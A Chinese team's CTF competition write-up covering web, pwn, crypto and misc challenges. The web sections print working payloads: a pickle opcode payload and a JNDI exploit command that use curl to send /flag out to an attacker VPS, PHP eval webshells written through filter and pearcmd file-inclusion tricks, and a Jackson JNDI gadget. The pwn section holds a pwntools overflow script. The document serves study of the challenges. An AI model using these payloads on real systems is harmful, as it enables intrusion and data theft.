抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

又和几个**”社会”**人士一起组队参加了这次比赛

这次 Web 和队友一起 AK了,开心 23333

(想起来以前一个题都做不出来的画面…

部分题目下载链接:

Web

0x1 zerocalc

@tari @DEADF1SH-CAT

把能下的都下下来,特别是 package.json,一开始忘了下了晕,然后 snyk 一下扫出两个,感觉是

https://snyk.io/vuln/SNYK-JS-NOTEVIL-608878

因为本地调试直接用safeEval可以利用到nodejs的Function对象,

1
2
var code = "function fn() {};var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;var properties = Object.values(constructorProperty);properties.pop();properties.pop();properties.pop();properties.pop();"
console.log(safeEval(code))

不过加了题目的safeEval就是跑到就被拦截

1
2
//HACK: esprima doesn't like returns outside functions
src = parse('function a(){' + src + '}').body[0].body

不知咋绕过

后面不知被哪位大佬改了 flag 位置,就直接捡漏了,

image-20211025232552410

0x2 ezPickle

@tari

查看题目源码发现是pickle反序列化的白名单+黑名单机制,并会动态加载其他模块

1
2
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)

也就是说,只要引入到模块是 config,且不访问模块内置变量即可绕过pickle反序列化限制

config.py 中存在任意代码执行,只要想办法把 notadmin = {“admin”: “no”} 字典值篡改即可

通过编写OPCODE,在 backdoor 执行前修改 config 命名空间的 notadmin 字典值,这里可以借助工具在OPCODE中修改字典的值

https://github.com/eddieivan01/pker

1
2
notadmin = GLOBAL('config', 'notadmin')
notadmin["admin"]="yes"

image-20211025232747111

绕过 admin 限制后,通过 OPCODE调用后门

1
2
3
4
cconfig
backdoor
(S'__import__("os").system("curl http://{VPS_IP}/`cat /flag|base64`")'
tR

相应指令解释,其中 . 表示结束

  • c:把一个全局对象压入栈

  • (:向栈中压入一个MARK标记

  • S:实例化一个字符串对象

  • t:寻找栈中的第一个MARK,并组合其至栈顶的数据为元组

  • R:选择离栈顶的最近的第一个对象作为参数(必须为元组)、第二个对象作为函数,然后调用该函数

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import io
import sys
import pickle
import base64
from config import notadmin

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

payload = b"""cconfig\nnotadmin\np0\n0g0\nS'admin'\nS'yes'\nscconfig
backdoor
(S'__import__("os").system("curl http://{VPS_IP}/`cat /flag|base64`")'
tR."""
print(base64.b64encode(payload))
restricted_loads(payload)

把输出的base64字符串拼接到目标机器GET请求name字段即可,因为无回显,所以外带

image-20211025232850237

0x3 EasyFilter

@Oah

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
    ini_set("open_basedir","./");
    if(!isset($_GET['action'])){
        highlight_file(__FILE__);
        die();
    }
    if($_GET['action'] == 'w'){
        @mkdir("./files/");
        $content $_GET['c'];
        $file = bin2hex(random_bytes(5));
        file_put_contents("./files/".$file,base64_encode($content));
        echo "./files/".$file;
    }elseif($_GET['action'] == 'r'){
        $r $_GET['r'];
        $file "./files/".$r;
        include("php://filter/resource=$file");
    }

读文件可控的就只有 php://filter/resource=$file ,之前刷过相关的题目,印象中 resource= 后是不能加过滤器的,然后队友解出来了,问他他说:发现文件名被识别成过滤器了

image-20211025233120676

这样就好办了,写入 base64 编码过的一句话,通过base64解码过滤器读就行

POC

写入

1
http://124.70.181.14:32766/?action=w&c=%3C?php%20eval($_GET[%22cmd%22]);?%3E

image-20211025233322775

读取

1
http://124.70.181.14:32766/?action=r&r=read=convert.base64-decode/../d7376a8618&cmd=system(%27cat%20../../../flag%27);

image-20211025233349066

0x4 Jack-Shiro

@Oah @tari

这题主要是队友解,一开始我都没想到原来我刷过,然后刷过,又刚好有公网服务器,又刚好服务器上有 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,就做个帮忙拿flag工具人,这里复盘一下,两个题目的差别,以及自己去做的话,思路会怎样吧,然后和队里大佬的差异。有兴趣可以到buu去复现2021红明谷JavaWeb

和2021红明谷 JavaWeb 基本一致,但不同的是,这里没有提示 /login 目录,红明谷是有的

不过题目名字有提示,是Shiro,队里大佬说Shiro的默认登陆路径就是这个,直接访问 /login 没啥反应,就返回一个 /json

image-20211025234054238

二话不说,先随便 POST 点JSON数据上去。

image-20211025234853842

POST /json 返回302跳转

image-20211025234949480

记起shiro有个未授权漏洞,有几种绕过姿势,最终锁定CVE-2020-11989

1
POST /;/json

image-20211025235213032

在结合题目名字,Jack -> Jackson,这里和红明谷也不一样,原题报错是下图这样的,即 xxx.jackson.databind.xxx

image-20211025235321065

然后就很容易联想到去网上搜 jackjson databind 漏洞

image-20211025235507008

除去一些漏洞通告,第一个漏洞分析就是了

https://www.anquanke.com/post/id/227943

文中最后完整的 payload 是

1
String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:1389/Exploit\"}]";

根据这个 payload 试试反序列化

1
["com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://vps:2233/a"}]

image-20211025235652753

报错,提示这个 com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource 类找不到

尝试依次删除类前缀,下面这个就可以

1
["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://vps:2233/a"}]

image-20211025235820066

可以成功返回数据,那应该是这种利用方式了,但为啥要删除类前缀就不是很清楚,估计题目中把这个包名给换了。

队里大佬说各种找payload,随便找一个就能用了,不像我复现红明谷的时候还有个小坑

然后上 JNDI 利用工具 (

https://github.com/welk1n/JNDI-Injection-Exploit

关于原理,除了可以参考刚刚安全客的文章,还可以看这篇

http://www.yulegeyu.com/2018/12/04/JNDI-Injection-Via-LDAP-Deserialize/

即利⽤LDAP Server返回序列化数据触发反序列化。

这里因服务端 jdk 版本过⾼,⽆法加载远程class,所以用 LDAP

在公网服务器上

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

image-20211026000646717

注意,题目描述是有个压缩包,里面放着 pom.xml 的,里面有些是用Spring开发和版本之类的,然后红明谷就没有,只有未授权访问成功在网页的icon上有一片绿色的叶子,提示这是 Spring… 像下图这样

image-20211025234020628

所以我们运行 JNDI,一定要选JDK(写着 SpringBoot 1.2.x+)的,就可以了

然后发现不知为啥Shell反弹不回来,不过没事,既然我们服务端能接收请求,那服务肯定是出网的,尝试通过 curl 外带

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl http://vps_ip:2233 -F file=@/flag'

image-20211026001138058

从结果而言就题目考点就 Shiro + Jackson 反序列化,但一条龙下来,还是容易踩坑的,2333

0x5 new_hospital

@tari

对于完全黑盒的题目,第一步肯定是信息收集,先目录爆破,爆破出来的很多,但实际有用的就3个(从做出来的结果而言,一开始分析的还挺头疼的)

1
2
3
http://123.60.75.243:32766/old/       
http://123.60.75.243:32766/flag.php
http://123.60.75.243:32766/feature.php

访问 /flag.php 返回 hacker?
在 feature.php 发现个文件读取,不过被拼接 .js 文件后缀

image-20211026001449562

尝试远程读取进来,可以通过URL特性截断 .js ,但写入为JS代码了,无法解析为PHP代码
http://123.60.75.243:32766/feature.php?&id=http://VPS_IP/in.php%3F%2500

IMG_0381

IMG_0382

仔细看,发现通过这个文件读取接口会返回一个Cookie

image-20211026001921694

解码发现是刚刚提交的目录,注意文件后缀已经拼接了 .js(待会用到)

image-20211026001947710

后面翻目录爆破出来的,访问 /old/feature.php

image-20211026002030304

发现竟然和我刚刚访问在 /feature.php 提交的一样,开始寻思这是缓存?

是不是 file_get_content + file_put_content 呢?尝试 php filter 过滤器差异化写入无果,突然想到刚刚的Cookie,难道/old是通过Cookie里的目录设置的文件包含的内容?这样刚好可以直接无视 .js 后缀,然后结合目录爆破出来的 flag.php 是不是就能读到什么…

验证一下

image-20211026002138140

0x6 Give_me_your_0day

@Oah

install.php 608 行有个文件包含

1
/install.php?config&dbAdapter=[路径]

查到可以用 /usr/local/lib/php/pearcmd.php 利用

很多目录都没有写权限,但是发现/tmp目录可以写

写木马

1
2
3
4
5
6
7
8
9
10
GET /install.php?config&+-c+/tmp/a.php+-d+man_dir=<?eval($_GET["cmd"]);?>/*+-s+list&dbAdapter=../../../../usr/local/lib/php/pearcmd&&XDEBUG_SESSION_START=PHPSTORM HTTP/1.1
Host: 121.36.229.59:32767
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://121.36.229.59:32767/install.php?config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __typecho_lang=zh_CN
Connection: close

image-20211026002600523

读flag

1
2
3
4
5
6
7
8
9
10
GET /install.php?config&dbAdapter=../../../../tmp/a&cmd=system('cat+/flag'); HTTP/1.1
Host: 121.36.229.59:32767
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://121.36.229.59:32767/install.php?config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __typecho_lang=zh_CN
Connection: close

image-20211026002529336

PWN

0x1 sonic

@小火车

ida查看gets函数存在栈溢出,将输入的登录名溢出到RSP
通过ida查看不用登录的地址偏移在0x73a

image-20211026002644504

通过python直接获取远程服务器main地址为0x00005555555547cf

image-20211026002700136

用patternLocOffset.py计算得到偏移量为40

image-20211026002718009

image-20211026002728052

image-20211026002742536

1
2
3
4
5
6
7
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
sh = remote('123.60.63.90',6888)
payload = 'A'*40+p64(0x000055555555473a)
sh.recvuntil('login:')
sh.send(payload)
sh.interactive()

CRYPTO

0x1 拟态签到题

解压压缩包,flag.txt base64解码得到
flag{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}

MISC

每个题都只做了前面一点,后面不太会,@LI 大佬NB~

0x1 WeirdPhoto

@LI @tari

一开始1.png 不知道是啥…,突然发现win下是可以打开看的,经典的高度或者宽度被修改了,通过png crc计算出图片原来的宽高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import binascii
import struct

# 打开图片
crcbp = open("/Users/tari/Downloads/1.png", "rb").read()
# 假设原图片大小在 2000x2000以内
for i in range(2000):
for j in range(2000):
data = crcbp[12:16] + \
struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
# 图片当前CRC, 即 0x9e916964 为 CRC, 对应16进制编辑器里 00000010h d-f 和 00000020h 0
if (crc32 == 0x9e916964):
print(i, j)
print('hex:', hex(i), hex(j))

image-20211026002900343

输入右边的英文 TIEWOFTHSAEOUIITNRBCOSHSTSAN 密码不对

解出压缩包密码:THISISTHEANSWERTOOBSFUCATION

image-20211026002915843

里面一堆图片,但直接把 out 丢进16进制编辑器可以看到一堆 obj,所以猜 是个PDF,修复一下文件头

image-20211026003007224

搜一下 PDF 隐写,发现很多都是用的 wbStego4,下个wbStego4,默认选项解密,然后保存输出为txt,就能得到flag

image-20211026003050096

0x2 bar

@LI @小火车 @tari

官方提示:

  1. 观察得到字符串在code93在线网站生成的条形码停止字符的前两位字符

  2. flag内容都是小写英文字母

根据题目名称,得知是一个条形码,然后把 GIF每一帧拼接一下即可,网上找个脚本魔改了一下

https://blog.csdn.net/Cony_14/article/details/102730294

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import os
from PIL import Image

# 工作目录, 会在该目录生成大量临时文件, 尽量新建文件夹运行哈
FILE_ROOT = '/Users/tari/Downloads/gif'
# 待处理图片
GIT_PATH = os.path.join(FILE_ROOT, 'output.gif')
# GIF每张图片宽度
IMAGE_WIDTH = 20
# GIF每张图片高度
IMAGE_HEIGHT = 100
# 最终输出图片高度, 如果过长可以稍微调节下, 一般 100 足够了
TARGET_HEIGHT = 100
# 输出图片名称
OUTPUT_IMAGE = 'new_im.png'

im = Image.open(GIT_PATH)
# 打开一个序列文件时,PIL库自动加载第一帧, 保存第一帧到当前目录下
im.save(os.path.join(FILE_ROOT, str(im.tell()) + '.png'))
# 计数有多少帧
image_cnt = 1

try:
while 1:
# 向下一帧移动
im.seek(im.tell() + 1)
# 保存下一帧
im.save(os.path.join(FILE_ROOT, str(im.tell()) + '.png'))
image_cnt += 1
except EOFError:
pass

# 创建宽度为image_cnt*IMAGE_WIDTH,高度为100的空白新照片
new_im = Image.new('RGBA', (IMAGE_WIDTH * image_cnt, IMAGE_HEIGHT))
im_list = []
for i in range(0, image_cnt):
im_list.append(Image.open(os.path.join(FILE_ROOT, str(i) + '.png')))

width = 0
for im in im_list:
# 将各个图片对象im粘贴到新图片上,图片的左上角和右下角坐标分别为width,IMAGE_WIDTH,width+IMAGE_WIDTH,IMAGE_HEIGHT
new_im.paste(im, (width, 0, width + IMAGE_WIDTH, IMAGE_HEIGHT))
width = width + IMAGE_WIDTH
# 宽度不变, 必要时填充高度
new_im = new_im.resize((width, TARGET_HEIGHT))
# 保存成新文件
new_im.save(os.path.join(FILE_ROOT, OUTPUT_IMAGE))
new_im.show()

这条形码怪怪的感觉

new_im

然后发现参考资料:

[http://www.appsbarcode.com/Code%2093.php](http://www.appsbarcode.com/Code 93.php)

image-20211026003505580

START是111141,用PS自动生成参考线,把每9位都写出来。可以看到,前面虽然存在一些不是黑白的颜色,但是发现后面也有START标志,不会被前面影响。

image-20211026003537600

前面30个字符就可以整理出来了,是:F0C62DB973684DBDA896F9C5F6D962

还差两个字符,提示是停止符号的前两个,也就是上面那个check digit

这里可以直接生成一个新的条形码,然后得到两个检查位

image-20211026003613203

对照表格,分别是Wspace

image-20211026003637492

组合起来就是,F0C62DB973684DBDA896F9C5F6D962W[space]

整理卡了半天。。。后面跑去问是不是题目错了。。

得到的答复是

小写生成的条码是没有w和空格的

条形码解出来的不是全大写的嘛,标准就是呀

也就是说不是用 F0C62DB973684DBDA896F9C5F6D962 去生成条形码,而是用小写 f0c62db973684dbda896f9c5f6d962 去生成

http://barcode.cnaidc.com/html/BCGcode93.php

image-20211026004150616

算了一下发现两个检查位分别是 221121(U) 和 111222(M)

最终flag flag{f0c62db973684dbda896f9c5f6d962um}

评论